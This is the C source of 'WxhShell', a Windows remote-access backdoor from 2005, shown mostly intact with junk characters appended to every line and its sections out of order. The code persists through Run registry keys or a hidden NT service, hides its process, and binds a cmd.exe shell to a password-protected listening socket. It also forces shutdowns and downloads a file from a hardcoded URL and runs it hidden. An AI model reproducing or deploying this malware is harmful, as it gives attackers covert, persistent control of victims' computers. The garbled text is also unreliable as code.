    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TCwFPlF|  
    if(Boot(SHUTDOWN)) o4F2%0gJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s^G.]%iU  
    else { A@!qv#'  
    closesocket(wsh); r[`9uVT/  
    ExitThread(0); NqazpB*  
    } w7.V6S$Ga  
    break; HSE!x_$  
    } D09Sg%w  
  // 获取shell EPI4!3]  
  case 's': { #C74z$  
    CmdShell(wsh); T= y}y  
    closesocket(wsh); ["k,QX  
    ExitThread(0); i/;\7n  
    break; Q0`wt.}V2  
  } / |;RV"  
  // 退出 _lJ!R:*  
  case 'x': { mW(W\'~_~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zx"s*:O  
    CloseIt(wsh); FF`T\&u  
    break; VX0 %a@ur  
    }  lHY+}v0  
  // 离开 `_Zg3_K.dS  
  case 'q': { jP$a_hW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p SH=%u>  
    closesocket(wsh); .=7vI$ujd  
    WSACleanup(); Mlg0WrJ|2  
    exit(1);  L2[($l  
    break; W fN2bsx>  
        } V5nwu#  
  } ky,(xT4  
  } hP%M?MKC  
a8e6H30Sm  
  // 提示信息 MC&` oX[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (&Kk7<#`  
} x/I%2F  
  } MO]F1E?X  
6RU~"C  
  return; #>("CAB02T  
} ~|D Ut   
UawyDs  
// shell模块句柄 :gv{F} ##  
int CmdShell(SOCKET sock) lV3x*4O=  
{ Fh&G;aEq  
STARTUPINFO si; Wa>}wA=v  
ZeroMemory(&si,sizeof(si)); lwxaMjaL4K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d=$Mim  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z!a =dnwHz  
PROCESS_INFORMATION ProcessInfo; `!3SF|x&  
char cmdline[]="cmd"; Zgp4`)}:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XB;7!8|  
  return 0; 6m/r+?'  
} U/66L+1  
xf\C|@i  
// 自身启动模式 :(U ,x<>  
int StartFromService(void) Fo (fWvz  
{ hlvK5Z   
typedef struct Jc&{`s^Nu  
{ Fj8z  
  DWORD ExitStatus; xA2YG|RU=b  
  DWORD PebBaseAddress; EqkN3%IG  
  DWORD AffinityMask; c)6m$5]  
  DWORD BasePriority; ]NQfX[  
  ULONG UniqueProcessId; .ljnDL/  
  ULONG InheritedFromUniqueProcessId; pGP7nw_g  
}   PROCESS_BASIC_INFORMATION; jh?H.;**  
Y #ap*  
PROCNTQSIP NtQueryInformationProcess; _P#|IAq*  
bI7Vwyz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z}77Eh<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kf\PioD8  
q<x/Hat)  
  HANDLE             hProcess; R^8o^z['6u  
  PROCESS_BASIC_INFORMATION pbi; + B,}Qr  
G=s}12/Z"{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,1.p%UE]>  
  if(NULL == hInst ) return 0; <6%?OJhp  
e-})6)XgA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GLH0 ]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U#7#aeI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p}}R-D&K  
x xHY+(m  
  if (!NtQueryInformationProcess) return 0; S1T"Z{$  
<VMGTBVQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D=A&+6B@-  
  if(!hProcess) return 0; XAD- 'i  
wyH[x!QX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W]$w@.oW[  
4@+`q *  
  CloseHandle(hProcess); CCs%%U/=  
NR$3%0 nC6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W 8<&gh+  
if(hProcess==NULL) return 0; kP=eW_0D  
H5/6TX72N  
HMODULE hMod; OR P\b  
char procName[255]; @o].He@L<j  
unsigned long cbNeeded; \Gef \   
Y,qI@n<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }?$F}s-  
E<rp7~#  
  CloseHandle(hProcess); ; }I:\P  
'0;l]/i.  
if(strstr(procName,"services")) return 1; // 以服务启动 ^ox=HNV  
c8 )DuJ#U  
  return 0; // 注册表启动 + )AG*  
} aL\PGdgO  
C!O0xhs  
// 主模块 % :f&.@'r  
int StartWxhshell(LPSTR lpCmdLine) R+hU8 pu  
{ MVpGWTH@F  
  SOCKET wsl; ~p6 V,Q  
BOOL val=TRUE; u4cnE"  
  int port=0; 4Co6(  
  struct sockaddr_in door; B6+khuG(  
+zqn<<9  
  if(wscfg.ws_autoins) Install(); 7uqzm  
Uk[b|<U-`d  
port=atoi(lpCmdLine); 3oj' ytxN  
J/`<!$<c  
if(port<=0) port=wscfg.ws_port; Y sC>i`n9  
f#>,1,S  
  WSADATA data; djl*H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #Qw0&kM7I  
93>jr<A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zEX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U7,e/?a  
  door.sin_family = AF_INET; |w~nVRb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZoW?nxY  
  door.sin_port = htons(port); AG nxYV"p  
vQG5*pR*w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |u% )gk  
closesocket(wsl); P-_6wfg,;>  
return 1; 5:[0z5Hww  
} [C 7^r3w  
e-/&$Qq  
  if(listen(wsl,2) == INVALID_SOCKET) { ]"As1"  
closesocket(wsl); r.=K~A  
return 1; R{`(c/%8  
} 4/~E4"8  
  Wxhshell(wsl); q4h]o^+  
  WSACleanup(); x3=A:}t8  
FW;?s+Uyx  
return 0; 'T;P;:!\  
{_"<1C  
} FBX'.\@`  
Wx%H%FeK  
// 以NT服务方式启动 kOrZv,qFG[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _#E0g'3  
{ Ux!p8  
DWORD   status = 0; `6(S^P  
  DWORD   specificError = 0xfffffff; IVnHf_PzF  
?/E~/;+7=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |fJ};RLI"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jl8H|<g~/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m,_Z6=I:  
  serviceStatus.dwWin32ExitCode     = 0;  #4NaL  
  serviceStatus.dwServiceSpecificExitCode = 0; edq4D53  
  serviceStatus.dwCheckPoint       = 0; !RS}NS  
  serviceStatus.dwWaitHint       = 0; F@jZ ho  
VR8-&N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V*;(kEqj  
  if (hServiceStatusHandle==0) return; V]6dscQ  
;6 D@A  
status = GetLastError(); ea2ayT  
  if (status!=NO_ERROR) 9Q^r O26+  
{ K=Z|/Kkh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =!A_^;NQf  
    serviceStatus.dwCheckPoint       = 0; %g$o/A$  
    serviceStatus.dwWaitHint       = 0; \A#41  
    serviceStatus.dwWin32ExitCode     = status; {%5eMyF#  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?3`UbN:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :K,i\  
    return; T@B/xAq5!  
  } /N10  
k/_ 59@)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dh iuI|?@  
  serviceStatus.dwCheckPoint       = 0; oG?Xk%7&\  
  serviceStatus.dwWaitHint       = 0; l}|%5.5-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @+2=g WH  
} !X#OOqPr=  
!;v|'I  
// 处理NT服务事件,比如:启动、停止 m4Qh%}9%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <8&au(I,vB  
{ a(X@Q8l:  
switch(fdwControl) `UyG_;  
{ '3tCH)s  
case SERVICE_CONTROL_STOP: FIhk@TKa  
  serviceStatus.dwWin32ExitCode = 0; !sP {gi#=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wH&!W~M  
  serviceStatus.dwCheckPoint   = 0; *I.f1lz%*  
  serviceStatus.dwWaitHint     = 0; ORw,)l  
  { >z>!Luw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '3fu  
  } s?}e^/"v  
  return; H[$"+&q  
case SERVICE_CONTROL_PAUSE: xwq (N_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >uB# &Q  
  break; ]y '>=a|T  
case SERVICE_CONTROL_CONTINUE: ^A/k)x6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g3/W=~r  
  break; #&aqKV Y  
case SERVICE_CONTROL_INTERROGATE: 3z?> j]  
  break; B%b4v  
}; D2 eckLT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D?_Zl;bQ'^  
} }@+0/W?\.  
YnAm{YyI  
// 标准应用程序主函数 5coyr`7mP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VA_PvL.9  
{ 7(8;t o6(  
<{cQM$ #  
// 获取操作系统版本 \'D0'\:vz  
OsIsNt=GetOsVer(); hx%v+/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rtl"Ub@HV  
zu{P#~21  
  // 从命令行安装 *)T^Ch D,  
  if(strpbrk(lpCmdLine,"iI")) Install(); #OD/$f_  
,m:.-iy?  
  // 下载执行文件 & l&:`nsJ  
if(wscfg.ws_downexe) { 3yF,ak {Sl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E,U+o $  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,T$U'&;  
} +gtbcF@rx  
mSF(q78?  
if(!OsIsNt) { E A1?)|}n  
// 如果时win9x,隐藏进程并且设置为注册表启动 WiR(;m<g  
HideProc(); ]72`};  
StartWxhshell(lpCmdLine); *zvx$yJ?  
} IY\5@PVZ  
else b9HtR-iR;  
  if(StartFromService()) BLiF 5  
  // 以服务方式启动 x*U)Y  
  StartServiceCtrlDispatcher(DispatchTable); />pI8 g<  
else _op}1   
  // 普通方式启动 6iE<T&$3P  
  StartWxhshell(lpCmdLine); )yZ^[uJ}3C  
X *"i6 *  
return 0; zE9W8:7  
} K!Y71_#  
~IBP|)WA-  
qiBVG H  
:>f )g  
=========================================== @,7GaK\  
Ai?*s%8v  
,Uqs1#r  
joAv{Tc  
f+)L#>Gl?  
C1n>M}b  
" 04P}-L,  
rcG"o\g@+  
#include <stdio.h> ,m|h<faZL  
#include <string.h> u^I|T.w<r6  
#include <windows.h> j-}O0~Jz  
#include <winsock2.h> <^jQo<kU  
#include <winsvc.h> YZ8>OwQz2  
#include <urlmon.h> 0-Ku7<a  
O;jrCB  
#pragma comment (lib, "Ws2_32.lib") (vJNHY M  
#pragma comment (lib, "urlmon.lib") yjJ5>cg  
@:vwb\azVD  
#define MAX_USER   100 // 最大客户端连接数 `kXs;T6&  
#define BUF_SOCK   200 // sock buffer ]Q3ADh  
#define KEY_BUFF   255 // 输入 buffer \?k'4rH  
%XQ(fj>  
#define REBOOT     0   // 重启 -zeG1gr3  
#define SHUTDOWN   1   // 关机 Jk n>S#SZ  
G<J?"oQbRT  
#define DEF_PORT   5000 // 监听端口 16(QR-  
AH7}/Rc  
#define REG_LEN     16   // 注册表键长度 wc4{)qDE  
#define SVC_LEN     80   // NT服务名长度 Fq<A  
V&2l5v  
// 从dll定义API 2eY_%Y0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bwMm#f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o|<!"AD7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8wFJ4v3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B%6)}Nl[  
Z=o2H Bm7  
// wxhshell配置信息 3bH'H*2  
struct WSCFG { }9OC,Y8?D  
  int ws_port;         // 监听端口 N<VJ(20y  
  char ws_passstr[REG_LEN]; // 口令 y??XIsF  
  int ws_autoins;       // 安装标记, 1=yes 0=no x g  
  char ws_regname[REG_LEN]; // 注册表键名 d/kv|$XW  
  char ws_svcname[REG_LEN]; // 服务名 ndMA-`Ny,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dkTX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &n:.k}/P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QlU8uI[dk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C33J5'(CA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uHzU-FZ|B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GGs}i1m  
f r6 fj  
}; {hrX'2:ClT  
33B]RGq  
// default Wxhshell configuration I,vJbvvl!  
struct WSCFG wscfg={DEF_PORT, c`w}|d]mC  
    "xuhuanlingzhe", ~=l;=7 T  
    1, $uVHSH5l  
    "Wxhshell", ENs&RZ;  
    "Wxhshell", t-bB>q#3>  
            "WxhShell Service", UySZbmP48  
    "Wrsky Windows CmdShell Service", VuZuS6~#J  
    "Please Input Your Password: ", g1"kTh  
  1, YUy0!`!`  
  "http://www.wrsky.com/wxhshell.exe", =dYqS[kJW  
  "Wxhshell.exe" je=a/Y=%U{  
    }; >_T-u<E  
s9DYi~/,  
// 消息定义模块 g*C7 '  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tl^9WG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >!1-lfa8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vV-`jsq20H  
char *msg_ws_ext="\n\rExit."; w%jII{@,  
char *msg_ws_end="\n\rQuit."; A#iV=76_  
char *msg_ws_boot="\n\rReboot..."; Z,Dl` w  
char *msg_ws_poff="\n\rShutdown..."; M!D3}JRm  
char *msg_ws_down="\n\rSave to "; Y&Z.2>b  
GH$pKB  
char *msg_ws_err="\n\rErr!"; f(y:G^V  
char *msg_ws_ok="\n\rOK!"; S3 Xl  
'e'cb>GnA  
char ExeFile[MAX_PATH]; @<EO`L)Z  
int nUser = 0; {fT6O&br  
HANDLE handles[MAX_USER]; srrgvG,  
int OsIsNt; z5*'{t)  
u <v7;dF|s  
SERVICE_STATUS       serviceStatus; BuXqd[;K%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @Qt{jI !  
$}<e|3_  
// 函数声明 Si;H0uPO  
int Install(void); mGg+.PFsM  
int Uninstall(void); K_Eux rPn  
int DownloadFile(char *sURL, SOCKET wsh); 5MJS ~(  
int Boot(int flag); #BH*Z(  
void HideProc(void); `1IgzKL9  
int GetOsVer(void); R`E~ZWC4V  
int Wxhshell(SOCKET wsl); $suzW;{#  
void TalkWithClient(void *cs); -;WGS o  
int CmdShell(SOCKET sock); 2.%ITB  
int StartFromService(void); }y gD3:vN7  
int StartWxhshell(LPSTR lpCmdLine); vy:Z/1q  
PtiOz :zV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >7DhTM-A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5vnrA'BhBU  
4zFW-yy  
// 数据结构和表定义 @?]RBX?a  
SERVICE_TABLE_ENTRY DispatchTable[] = A;?|& `f  
{ &`2)V;t  
{wscfg.ws_svcname, NTServiceMain}, 8$Y9ORs4  
{NULL, NULL} lA8`l>I  
}; (V2fRv  
8XE7]&)];  
// 自我安装 iSs:oH3l  
int Install(void) ~q25Yx9W@  
{ /R wjCUf  
  char svExeFile[MAX_PATH]; l}K37f  
  HKEY key; Jij*x>K>y  
  strcpy(svExeFile,ExeFile); 4ID5q~  
6?c7$Y  
// 如果是win9x系统,修改注册表设为自启动 NU2;X (z[  
if(!OsIsNt) { )MTOU47U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Ki[$bS~6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 28d'7El$  
  RegCloseKey(key); rf{rpe$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?hy&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m^;f(IK5  
  RegCloseKey(key); nUOz\ y  
  return 0; xdkZdx>N  
    } T{[=oH+  
  } WCixKYq  
} ] >E s4 s  
else { <frutU16\  
; kI134i=  
// 如果是NT以上系统,安装为系统服务 ge8ZsaiU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); amY!qg0P*  
if (schSCManager!=0) _E.>`Q  
{ f9{Rb/l!BQ  
  SC_HANDLE schService = CreateService T1=fNF  
  ( Z4 =GMXj  
  schSCManager, 1o{Mck  
  wscfg.ws_svcname, Q>Yjy!. <^  
  wscfg.ws_svcdisp, VRB;$  
  SERVICE_ALL_ACCESS, ^s"R$?;h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dDLeSz$b  
  SERVICE_AUTO_START, I51@QJX  
  SERVICE_ERROR_NORMAL, NqWdRU  
  svExeFile, nZYBE030  
  NULL, /f;~X"!  
  NULL, ak!G8'w  
  NULL, I9ep`X6Y  
  NULL, &gx%b*;`L0  
  NULL Qq|57X)P*  
  ); ['iPl/v0  
  if (schService!=0) Q hO!Ma]  
  { BLD gt~h#  
  CloseServiceHandle(schService); 9p(. A$  
  CloseServiceHandle(schSCManager); +TDw+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c9h6C  
  strcat(svExeFile,wscfg.ws_svcname); XlR@pr6tw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o!A+&{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E hMNap}5"  
  RegCloseKey(key); z-)O9PV  
  return 0; Lw>N rY(Y  
    } BnasI;yWb  
  } wz%Nb Ly-  
  CloseServiceHandle(schSCManager); *gWwALGo5  
} $-sHWYZ  
} @E|}Y  
?gGHj-HYJ  
return 1; :"/d|i`T  
} )\$|X}uny&  
f%}xO+.s  
// 自我卸载 s?nR 4  
int Uninstall(void) (<C3Vts))  
{ U # qK.  
  HKEY key; pZy~1L  
@~a%/GQ#n*  
if(!OsIsNt) { brUF6rQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1iF1GkLEq  
  RegDeleteValue(key,wscfg.ws_regname); pYf-S?Y/V  
  RegCloseKey(key); KPUV@eQ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {bY%# m  
  RegDeleteValue(key,wscfg.ws_regname); h@ry y\9  
  RegCloseKey(key); Qt<&WB fn  
  return 0; $ (x]  
  } nAdf=D'P  
} |&i<bqLw:  
} {"KMs[M  
else { `<d }V2rdz  
DSn_0D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kE1TP]|  
if (schSCManager!=0) }k.Z~1y  
{ >fQMXfoY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *\F~[  
  if (schService!=0) d%n-[ZL  
  { X!EP$!  
  if(DeleteService(schService)!=0) { 8YSAf+{FtK  
  CloseServiceHandle(schService); :^h$AWR^f  
  CloseServiceHandle(schSCManager); X#^[<5  
  return 0; LZxNAua  
  } 4BpZJ~(p  
  CloseServiceHandle(schService); "VMz]ybi^  
  } 6(-N FnT  
  CloseServiceHandle(schSCManager); KVa  
} AH~E)S  
} Pa: |_IXA  
9_/:[N6|c|  
return 1; Wmv#:U  
} SXP]%{@ R/  
f]sr RYSR  
// 从指定url下载文件 Uw<nxD/+  
int DownloadFile(char *sURL, SOCKET wsh) U|R_OLWAg  
{ H0vfUF53l  
  HRESULT hr; 8Z=R)asGS  
char seps[]= "/"; l+0oS'`V*L  
char *token; BnF^u5kv%  
char *file; 8zW2zkv2|#  
char myURL[MAX_PATH]; Nu)NqFG,  
char myFILE[MAX_PATH]; =Nr-iae#  
g *+>H1}  
strcpy(myURL,sURL); [v!f<zSQK  
  token=strtok(myURL,seps); _7_Y={4=`  
  while(token!=NULL) 19%i mf  
  { \1M4Dl5!  
    file=token;  _;\_l  
  token=strtok(NULL,seps); M/`lM$98:  
  } }W^A*]X  
('+d.F[109  
GetCurrentDirectory(MAX_PATH,myFILE); F#5~M<`.o  
strcat(myFILE, "\\"); 5'u<iSmBo  
strcat(myFILE, file); >Y@H4LF;1x  
  send(wsh,myFILE,strlen(myFILE),0); M x" \5i  
send(wsh,"...",3,0); 2&J)dtqz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jq0O22 -R  
  if(hr==S_OK) W: z;|FF  
return 0; Q\sK"~@3  
else ]JQULE)  
return 1; $U-0)4yf  
 uHRsFlw  
} !&@615Vtw  
4 s9LB  
// 系统电源模块 -"9  
int Boot(int flag) ;*2Cm'8E  
{ }4X0epPp;:  
  HANDLE hToken; ]7c=PC  
  TOKEN_PRIVILEGES tkp; R`-S/C  
-jm Y)(\  
  if(OsIsNt) { gf\oC> N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }"%N4(Kd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); * kh tJ]=  
    tkp.PrivilegeCount = 1; _ jlRlt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P@~yx#G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7tCw*t$  
if(flag==REBOOT) { goWuw}?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \cM2k-  
  return 0; lr&a;aZp  
} V>rU.Mp QU  
else { VuZr:-K/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %E;'ln4h&,  
  return 0; _7y[B&g[r  
} yEy6]f+>+  
  } \o3gKoL%  
  else { m+$VVn3Z}  
if(flag==REBOOT) { <9b &<K:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XL/u#EA0<  
  return 0; $<[79al#  
} 4s oJ.j8  
else { *lJxH8\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |u p  
  return 0; ?+8\.a!  
} uCB=u[]y4  
} ;722\y(Y  
;-Aa|aT!  
return 1; +1!ia]  
} >y+B  
f* wx<  
// win9x进程隐藏模块 :[d9tm  
void HideProc(void) b| (: [nB  
{ WTiD[u  
a?oI>8*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &uVnZ@o42  
  if ( hKernel != NULL ) ;qV>L=a  
  { iK;XZZ(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w&.a QGR#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M D#jj3y  
    FreeLibrary(hKernel); h;'~,xA  
  } 0b 54fD=  
#T"4RrR  
return; :Llb< MY2  
} 3PF_H$`oJ  
V|R,!UND  
// 获取操作系统版本 \z)%$#I  
int GetOsVer(void) B`sAk %  
{ %@Jsal'  
  OSVERSIONINFO winfo; MnHNjsO#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ue>D 7\8  
  GetVersionEx(&winfo); |5]X| v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cidP|ie^  
  return 1; f%8C!W]Dm  
  else 8RHUeRX  
  return 0; TkF[x%o  
} bW:!5"_{H  
IAyp2  
// 客户端句柄模块 MWh6]gGs  
int Wxhshell(SOCKET wsl) W} ofAkF  
{ -tU'yKhn  
  SOCKET wsh; ?&uu[y  
  struct sockaddr_in client; =i3n42M#  
  DWORD myID; !ubD/KE  
lmhLM. 2  
  while(nUser<MAX_USER) 2 ? 4!K.  
{ \}G^\p6?M  
  int nSize=sizeof(client); .A|@?p[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >.D4co>  
  if(wsh==INVALID_SOCKET) return 1; u]G\H!Wk Q  
3iU=c&P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2>59q$ |  
if(handles[nUser]==0) JsS-n'gF'  
  closesocket(wsh); ^kSqsT"  
else 0IWf!Sk ]  
  nUser++; Gp\ kU:}&  
  } 4{Z)8;QX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7x8  yxE  
(QiAisE  
  return 0; fTX;.M/%   
} H0cA6I  
DIUjn;>k8  
// 关闭 socket o,wUc"CE  
void CloseIt(SOCKET wsh) ;9'OOz|+1  
{ 'E.w=7z&  
closesocket(wsh); f<6lf7qzC  
nUser--; `QY)!$mUIF  
ExitThread(0); bQ5\ ]5M  
} Ht&Y C<X  
wS3'?PRX  
// 客户端请求句柄 a09<!0Rp  
void TalkWithClient(void *cs) 9Gz=lc[!7  
{ >5SSQ\2~a  
`wU!`\  
  SOCKET wsh=(SOCKET)cs; XB5DPx  
  char pwd[SVC_LEN]; \.}c9*)  
  char cmd[KEY_BUFF]; 9MqGIOQ${j  
char chr[1]; NyuQMU  
int i,j; 7>*vI7O0l  
Vf1^4 t  
  while (nUser < MAX_USER) { Dum9lj  
P1f[% 1  
if(wscfg.ws_passstr) { -D~%|).'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |vzl. ^"-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K~ EmD9  
  //ZeroMemory(pwd,KEY_BUFF); lk80#( :Z  
      i=0; e@YK@?^#N  
  while(i<SVC_LEN) { r,2g^ K)6  
rQ snhv  
  // 设置超时 '}#9)}x!  
  fd_set FdRead; Ef{Vp;]  
  struct timeval TimeOut; ~7Ux@Sx;  
  FD_ZERO(&FdRead); ;xn0;V'=  
  FD_SET(wsh,&FdRead); J4U1t2@)9  
  TimeOut.tv_sec=8; [opGZ`>)j"  
  TimeOut.tv_usec=0; Qe(:|q _  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ku M$UYTTX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0Wp|1)ljA  
mRK>U$v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G  .4X'  
  pwd=chr[0]; ] @fk] ]R  
  if(chr[0]==0xd || chr[0]==0xa) { |(^PS8wG  
  pwd=0; f6"Z'{j  
  break; ZSm3XXk  
  } IO:G1;[/2L  
  i++; Y\'}a+:@Ph  
    } Wh{tZ~c  
%e} Saf  
  // 如果是非法用户,关闭 socket bi;1s'Y<D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g< .qUBPKX  
} 13/]DF,S"^  
P{^6v=8)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C+&l< fM&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Eu04e N  
seeB S/%  
while(1) { ZqO^f*F>h  
18:%~>.!  
  ZeroMemory(cmd,KEY_BUFF); 0+b1vhQ  
#C@FYO f*  
      // 自动支持客户端 telnet标准   ,5<Cd,`*  
  j=0; )@bQu~Y  
  while(j<KEY_BUFF) { 3"\lu?-E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pj% |\kbNs  
  cmd[j]=chr[0]; |#N&akC  
  if(chr[0]==0xa || chr[0]==0xd) { \Y}8S/]  
  cmd[j]=0; mpJ#:}n  
  break; D^;Uq8NDKq  
  } @"H >niG  
  j++; "" ZQ/t\  
    } Aq7osU1B  
@7n"yp*"  
  // 下载文件 j"Pv0tehw  
  if(strstr(cmd,"http://")) { r" ,GC]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sCHJ&>m5-  
  if(DownloadFile(cmd,wsh)) NQ2E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D. XvG_  
  else S>1Iky|  
